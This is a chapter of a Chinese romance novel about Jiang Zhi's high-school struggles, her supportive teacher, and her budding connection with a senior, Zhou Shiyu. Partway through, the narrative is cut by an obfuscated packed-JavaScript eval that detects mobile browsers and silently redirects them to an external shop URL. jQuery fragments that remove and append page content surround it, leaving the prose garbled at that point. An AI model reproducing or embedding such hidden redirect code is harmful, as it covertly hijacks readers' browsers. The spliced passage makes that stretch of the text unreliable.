姜知勾起嘴角。月光洒在他们身上，为楼前身影镀上一层的浅淡的光辉。


    人来人往。也许装着心事匆匆走过，也许外形出挑的年轻男女惹他们多看了几眼，有风拂过树叶的沙沙声，也有远处的笑闹。闷滞的空气不断上升，变成越来越近的积雨云。


    姜知，身上好香。


    拥上来的那一刻，周时屿如是想。


    短暂的拥抱一触即分，发丝似乎蹭过他的脸颊，来不及有多余的感受，女孩挥了挥手，消失在道路的尽头。


    是洗衣液味吧，回头问问她什么牌子。他维持着刚刚的姿势，后知后觉地笑了。


    -


    “姜知，你今天去哪啦？报告单要你签字呢！”室友方暮迟走到身侧。


    姜知还没彻底回过神，胸腔里的心脏依然狂跳着，她拿起笔，自动略过了前一个问题：“我现在就签。”


    姜燕书，于光。搞定。


    “诶，你和妈妈姓啊，”方暮迟好奇道，“你爸妈离婚了？”


    “没啊，感情好得很。”


    “那你是有个弟弟？”


    “没啊，独生女。”


    方暮迟推理不下去了：“那……”


    姜知：“就是单纯随母姓而已，我家比较开放。”


    “那，那我小孩以后也要姓方。”方暮迟转过身。


    “哈哈，可以哦。”姜知笑道。


    她晃着腿，今晚发生了太多事，宿舍里有点闷，她走到阳台，看着云层间隐隐闪烁的星斗。


    树影遮住了望天时大部分的视野，将漆黑的夜幕裁剪成碎片，一如往日的时光。


    ……


    每次同学看到她爸爸的名字，都会很好奇姓氏不同的缘由。姜知从不回避这个话题，反而眼睛很亮：我和我妈妈姓噢。


    他们往往会像方暮迟一样惊讶——以姜知的年龄推算，这样的事并不常见。


    “当时我妈妈生我的时候，很辛苦。”姜知总是一遍又一遍重复。


    激素对人的影响是很大的，一贯乐观的姜燕书女士，也在坐月子时患上了轻度的产后抑郁。


    夜阑人静，她爬上封闭的小窗户，看着外面星星点点的霓虹，绚目的光影却不断向下坠，眼里突然噙满泪：“好不容易生了个这么可爱的小孩，不行老于，小孩得和我姓。”


    他们都不是在意这一点的人，既然提起了，于光自然没有反对，拉着她的手哄道，当然可以了，他本来就觉得姓姜更好听。


    那晚夫妻俩讨论了半天女儿应该叫什么，两个体制内文化人几乎翻遍了新华字典，最后得出结论，大道至简，取的是他们认为最好的东西。


    “这听上去怎么像个男孩子的名字。”姜燕书的闺蜜听完之后打趣，她的女儿名叫范晓妮。


    “懂什么呢？知识才是立身之本，学海无涯苦作舟。”


    “好好好，书香门第。”闺蜜也十分捧场。


    虽然不是什么大富大贵的家庭，但是姜家只有她一个孩子，宠爱和期望全集中在了一个人的身上。姜知初中时的成绩并不好，最后以音乐特长生的身份进入了一中。


    弹弹琴，上上课，和同学聊聊天，高一也就过去了一半。但当姜知提出自己打算继续参加艺考的时候，父母却默契地沉默了。


    在理解包容中长大的孩子反而学不会叛逆，他们不像一众老式父母一样拍案说“都是为你好”“听我们的准没错”，而是帮助姜知一起筛选、分析，以到达最好的选择。砸钱集训或日后找老师一对一教学，都不在他们的经济承受范围内。


    所以在父母深思熟虑，打算让她走传统的高考时，姜知便直接放弃学了十几年的琴。


    也算一种双向理解。


    艺术生转为文化生的过程并不轻松。之前那些以为学得差不多就行的概念，突然变得具体起来，公式数字、复杂名词，一道又一道的天堑。姜知也因为学不会一度自暴自弃过，把头埋在比上身还高的书堆里，哀叹着考不上大学又能怎样，自我催眠人生过不好也是没有关系的吧。夜里大哭一场，然后又陷在父母的期望里，无可挣脱。


    关于转班，姜知没去具体了解过，但过程应该不轻松。由于之前默认的艺术生身份，不少老师对她颇有意见，说都是某几位同学拖累了全班的平均分，内涵他们不学无术。


    姜知默默承受了此类非议，但她感到难过的不是再难听的人言，而是那个始终不确定的未来。


    -


    “你说有人真的能把什么都做好吗。”同桌趴在桌前，两个吊车尾相互抱团取暖。


    “没有吧。”姜知这样回答。


    “我觉得有，比如他。”同桌指了指讲台上。


    周时屿来找班主任要资料，他们交谈起来。


    少年的嗓音清润动听，笔直的身影像阳光照耀下的松柏。底下人纷纷被吸引了视线，姜知甚至发现，还有那个平时看谁都不顺眼的班长。


    “不要拿我们正常人类和他比。”姜知笑了笑，目光却迟迟没有收回去。


    台上的人微微低下头，嘴边挂着极浅的笑，普通的校服衬衫被穿得很好看。他也许不知道自己在许多人心里成了比课本还具有代表性的标志，抬头永远能看见这个身影，学生时代中永恒的坐标。


    光风霁月，大抵如此。


    姜知大概成了全班看得最久的那个，注视时间和感兴趣的程度不成正比。斑驳的光影打在课桌上，眼前的卷子上爬满密密麻麻的红叉——她又搞砸了月考。初中基础就太差，高一又几乎花在练琴上，最近的压力大到她近乎崩溃。此刻，姜知却试着将零星希望组合成一个具象的场景，她想象自己有一天也能站在这个位置，成为无数学弟学妹羡慕的对象。


    但那天……非常遥远吧？


    不知是否有意，姜知从此以后和班主任建立了特殊的联系。班主任的人非常好，和别的老师的区别在于，会平视着和她说话。


    当她诉说起的自己的境况，只是拍了拍她的肩，“没事孩子，很多事都不是我们能决定的，把当下做好就行了。”


    他低头翻找了一会儿。


    “这里有本以前学生的笔记，你先拿去用。”


    笔记上写着——


    高三一班，周时屿。


    姜知低头接过，向老师道谢，拇指正好抚过扉页上的名字。


    -


    也许是天道酬勤，她的勤奋好学还是补上了巨大的窟窿。


    那段时间，每天脑子里只有各科的知识点，基础比不过别人就比心态、比勤奋，把比她聪明的人休息的时间全都用来学习，把讨人厌的知识点当作必须克服的难关。范晓妮和唐惟出国旅行时她学习，范晓妮生日包场的烟花秀底下还是学习。


    日复一日，一条直线的成绩终于有了起色。


    每天课后，她会留在办公室，把错题拿给班主任看，没人的时候就能一对一辅导。


    班主任很耐心，从不挑她的毛病，除了每次自诩勤能补拙都呵斥她，你根本就不拙。


    高中三年，连接教室和办公室的走廊她走过了无数次。因成绩消沉时也去躲一躲，那似乎是唯一能承受她眼泪的地方。老教师明白安慰之道，在女生哭诉“我怎么这么笨啊”的时候说，这很正常，以前周时屿也做错过。


    这一定是骗她的，但姜知总是会莫名的好受一些。


    也会在别的老师面前维护她，说姜知并不是那种不学无术的学生，她很坚韧，很努力。被姜知偷听到，那天又躲在办公室门口抹了好久的眼泪。


    -


    这年六月，很多事情都相继发生了改变。嘲讽她的老师被h大的录取结果呛得哑口无言，不确定的未来也终于落到实处。


    她的好闺蜜范晓妮确定要出国留学，意味着没机会在大学期间一起游历祖国大好河山，这应该不算个好消息。


    所以她们几乎整个暑假


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992534|193783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都待在一起。临近八月中旬的时候，范晓妮爱上了占卜，非说自己能够预知未来了。


    小姜知道：「塔罗吗，快给我起一卦。」


    想吃大米饭：「不用不用，给我你的身份信息，出生年月，然后告诉我视线范围内捕捉到的第一样东西。」


    小姜知道：「这是什么门道？」


    想吃大米饭：「想算什么，学业吗？」


    小姜知道：「爱情。能不能算了？」


    范晓妮沉默了许久，打来一个语音通话。


    “你的爱情之路有点坎坷啊，不是闺蜜打击你……”


    姜知打断：“我就想知道他是谁。”


    范晓妮斟酌着字句：“一个，现在看来很难有交集的人。”


    姜知颇感受伤：“等你到半夜，就这样打击我吗？”


    “这不是来提供方法论了吗！假设你们原本相爱的概率是5%，经由我的帮助，大概会上升到95%。”


    “首先你得，然后你要……”


    各种奇怪的方法，姜知听得昏昏沉沉，说了句小姜知道了你快睡吧。


    “等等！我真的算出来了！”


    姜知撑起眼皮，忍着困意嗯了声。


    “你近期内去看望一下高中班主任，不用挑时间，越快越好。”


    姜知觉得有点好笑，是因为自己一天天在范晓妮耳边念叨班主任有多好吧？确实给予过她孤独的求学之路很大的力量，所以姜知采纳了这个建议，在翌日重新回到学校。


    -


    以毕业生的身份踏入校园，光荣榜的第一位就是自己的名字，姜知却有种微妙的难受感，尽管每一个人都在对她笑。


    办公室里一年四季都是暖和的，绿萝长得茂盛，总有种油墨混杂陈旧木桌的气味。也许算不上好闻，却刻进她的记忆里，姜知明白那叫作安心。小小的一隅天地，是她曾经最大的避风港。


    班主任的脸上喜笑颜开，那是无关名誉的，发自内心为她开心的笑容。


    “老师好。”姜知把带来的礼品放下。难受感，消失了。


    年过半百的老教师毫不掩饰自己的赞赏：“姜知，你的情况比较特殊，这样的情况下还能考得这么好，真是老师的骄傲。”


    有学生来交作业，迟迟未走，可能也在偷偷打量这位传说中的师姐，姜知腼腆地应下：“嗯。”


    没有什么谦虚的必要，姜知同样也为自己感到骄傲。她深深地鞠了一躬：“也感谢老师的栽培，如果不是您的课后辅导，我一定不会有现在的成绩，感谢您，没在一开始就放弃我。”


    班主任拿起保温杯喝了口茶，喟叹道：“这么多年，我见过各式各样的学生，可以确定的是，你身上有很了不起的部分。姜知，上了大学后有什么打算？”


    她来之前粗略地浏览过学校的公众号，于是提及了心中所想：“我想参加h大的项目，但在学校没有认识的人，害怕组不成队伍。”


    对面的时钟转到“十二”，发出整点的铃声。姜知记下，正好是下午五点整。


    班主任思索片刻后，想起了什么：“诶，我记得周时屿是不是在你们学校？”


    “嗯。”姜知点头，也喝了口茶，视线偏过身旁的窗户。烈日之下几个学生在奔跑，层层叠叠的喧闹，在她的世界里变得极其轻盈。


    班主任直接说：“让他带带你。”


    姜知将视线收回，放下水杯：“真的可以吗？”


    “有什么不可以？我过段时间就和他说。”老师拍了拍她的肩。


    远方的人头攒动，车流汇入道路中央，新的学生走进校园，即将开始他们人生中长达三年的马拉松。


    她告别了校园，告别了在书海里度过的青春，告别了始于眼泪和期望，却也算是完满的学生时代。


    -


    马路旁，姜知打开范晓妮的对话框，平复心情，然后输入：


    「好像真的挺灵的。」